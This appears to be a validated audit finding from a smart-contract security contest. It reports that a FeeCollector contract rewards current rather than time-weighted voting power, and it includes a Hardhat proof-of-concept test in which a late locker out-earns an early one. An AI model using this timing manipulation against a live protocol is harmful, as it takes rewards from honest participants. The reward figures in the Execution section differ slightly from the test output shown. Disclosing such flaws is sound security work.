Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Current Voting Power Usage Allows Reward Manipulation in FeeCollector

Summary

The FeeCollector contract calculates rewards in the claimRewards function using a user's current voting power (veRAACToken.getVotingPower(user)), rather than their time-weighted average voting power over the distribution period. This flaw enables users to manipulate reward distribution by locking additional RAACToken just before claiming, unfairly increasing their share of rewards at the expense of participants who maintained consistent stakes throughout the period. A test case demonstrated this vulnerability: User B, locking tokens 6 days late into a 7-day distribution period, received higher rewards (0.0014246 RAACToken) than User A (0.0014011 RAACToken), who locked at the start, despite the expectation that earlier participation should yield greater rewards.

Vulnerability Details

The vulnerability originates in the claimRewards function of the FeeCollector contract, which uses the _calculatePendingRewards internal function to compute rewards based on a user's current voting power at the time of claiming. The distributeCollectedFees function establishes a 7-day distribution period via TimeWeightedAverage.createPeriod, suggesting rewards should reflect participation over this time. However, the lack of historical voting power consideration allows users to exploit the system by increasing their veRAACToken balance (voting power) right before claiming.

The test case demonstrates this issue:

describe("Fee Collection and Distribution", function () {
it("should demonstrate reward manipulation by locking late", async function () {
await raacToken.mint(userA.address, INITIAL_MINT);
await raacToken.mint(userB.address, INITIAL_MINT);
await raacToken.connect(userA).approve(await veRAACToken.getAddress(), ethers.MaxUint256);
await raacToken.connect(userB).approve(await veRAACToken.getAddress(), ethers.MaxUint256);
// User A locks at t=0
await veRAACToken.connect(userA).lock(ethers.parseEther("1000"), ONE_YEAR);
// Advance to t=6 days
await time.increase(6 * 24 * 3600);
// User B locks at t=6 days
await veRAACToken.connect(userB).lock(ethers.parseEther("1000"), ONE_YEAR);
// Advance to t=7 days
await time.increase(24 * 3600);
await feeCollector.connect(owner).distributeCollectedFees(); // distribution period from t=0 to t=7 days
// Print voting powers at claim time
console.log("User A's current voting power:", (await veRAACToken.getVotingPower(userA.address)).toString());
console.log("User B's current voting power:", (await veRAACToken.getVotingPower(userB.address)).toString());
// Record initial balances
const initialBalanceA = await raacToken.balanceOf(userA.address);
const initialBalanceB = await raacToken.balanceOf(userB.address);
// Both claim rewards
await feeCollector.connect(userA).claimRewards(userA.address);
await feeCollector.connect(userB).claimRewards(userB.address);
// Final balances
const finalBalanceA = await raacToken.balanceOf(userA.address);
const finalBalanceB = await raacToken.balanceOf(userB.address);
// Calculate actual rewards
const rewardA = finalBalanceA - initialBalanceA;
const rewardB = finalBalanceB - initialBalanceB;
console.log("User A's actual reward:", rewardA.toString());
console.log("User B's actual reward:", rewardB.toString());
expect(rewardA).to.be.gt(rewardB);
});
});

Test Result:

npx hardhat test --grep "should demonstrate reward manipulation by locking late"
FeeCollector
Fee Collection and Distribution
User A's current voting power: 245205479452054883200
User B's current voting power: 249315068493150697600
User A's actual reward: 1401174168297456
User B's actual reward: 1424657534246575
1\) should demonstrate reward manipulation by locking late
0 passing (7s)
1 failing
1. FeeCollector
Fee Collection and Distribution
should demonstrate reward manipulation by locking late:
AssertionError: expected 1401174168297456 to be above 1424657534246575.
* expected - actual
-1401174168297456
+1424657534246575
  • Setup:

    • User A locks 1000 RAACToken at t=0 for one year.

    • Time advances by 6 days, then User B locks 1000 RAACToken at t=6 days.

    • Time advances by 1 day to t=7 days, followed by distributeCollectedFees to start the distribution period.

  • Execution:

    • At t=7 days, User A’s voting power is 245205479452054883200, and User B’s is 249315068493150697600 (minimal decay, locked 1 day ago).

    • Both claim rewards, with User A receiving 1401174122997753 and User B receiving 1424657488946872.

  • Observation:

    • Despite locking 6 days later, User B receives more rewards than User A due to higher current voting power at claim time.
      The test expectation expect(rewardA).to.be.gt(rewardB) fails, confirming that the current implementation does not reward early participation appropriately, instead favoring late lockers who maximize voting power at claim time.

Root Cause: The use of veRAACToken.getVotingPower(user) in _calculatePendingRewards without averaging over the distribution period allows manipulation by timing lock actions.

https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/collectors/FeeCollector.sol#L479-L488

Impact

This vulnerability has significant implications:

  • Fairness: Users who lock tokens early and maintain stakes throughout the distribution period receive disproportionately lower rewards compared to those who lock late, undermining the protocol's incentive structure.

  • Economic: Late lockers can exploit the system to claim a larger share of rewards, potentially draining the reward pool and harming honest participants.

  • Trust: The unfair reward distribution may erode user confidence in the protocol, reducing participation and adoption.

Tools Used

Manual, Hardhat test

Recommendations

Time-Weighted Average Voting Power:

  • Leverage the PowerCheckpoint library in veRAACToken to compute the time-weighted average voting power over the distribution period (e.g., from t=startTime to t=endTime).

  • Modify _calculatePendingRewards to use veRAACToken.getPastVotes(user, blockNumber) or a custom average calculation, ensuring rewards reflect historical participation.

  • Example: Integrate with TimeWeightedAverage.Period to average voting power over the 7-day period.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.